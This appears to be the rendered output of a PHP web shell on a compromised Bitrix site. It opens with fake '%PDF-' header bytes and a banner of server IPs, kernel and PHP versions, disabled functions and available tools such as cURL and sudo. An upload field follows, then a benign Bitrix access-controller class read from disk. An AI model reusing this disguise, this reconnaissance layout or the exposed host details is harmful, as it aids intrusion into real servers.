%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.133.109.38 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/userfield/access/ |
Upload File : |
<?php namespace Bitrix\Main\UserField\Access; use Bitrix\Main\Access\Event\EventDictionary; use Bitrix\Main\Access\Exception\UnknownActionException; use Bitrix\Main\Access\User\AccessibleUser; use Bitrix\Main\Access\BaseAccessController; use Bitrix\Main\UserField\Access\Model\UserFieldModel; use Bitrix\Main\UserField\Access\Model\UserModel; use Bitrix\Main\Access\AccessibleItem; class UserFieldAccessController extends BaseAccessController { public static function getAccessibleFields($userId, string $action, $itemId = null, $params = null): array { $userId = (int) $userId; $controller = new static($userId); return $controller->checkByItemsId($action, $itemId, $params); } public function checkByItemsId(string $action, iterable $itemId = null, $params = null): array { $items = $this->loadItems($itemId); return $this->massCheck($action, $items, $params); } protected function loadItems(iterable $itemsId = null): array { $userFieldModels = []; foreach ($itemsId as $itemId){ $userFieldModels[] = UserFieldModel::createFromId($itemId); } return $userFieldModels; } public function massCheck(string $action, array $items = null, $params = null): array { $ruleName = $this->getRuleName($action); if (!$ruleName || !class_exists($ruleName)) { throw new UnknownActionException('Unknown action '. $action); } return (new $ruleName($this))->executeMass($items, $params); } protected function loadItem(int $itemId = null): AccessibleItem { if ($itemId) { return UserFieldModel::createFromId($itemId); } return UserFieldModel::createNew(); } protected function loadUser(int $userId): AccessibleUser { return UserModel::createFromId($userId); } }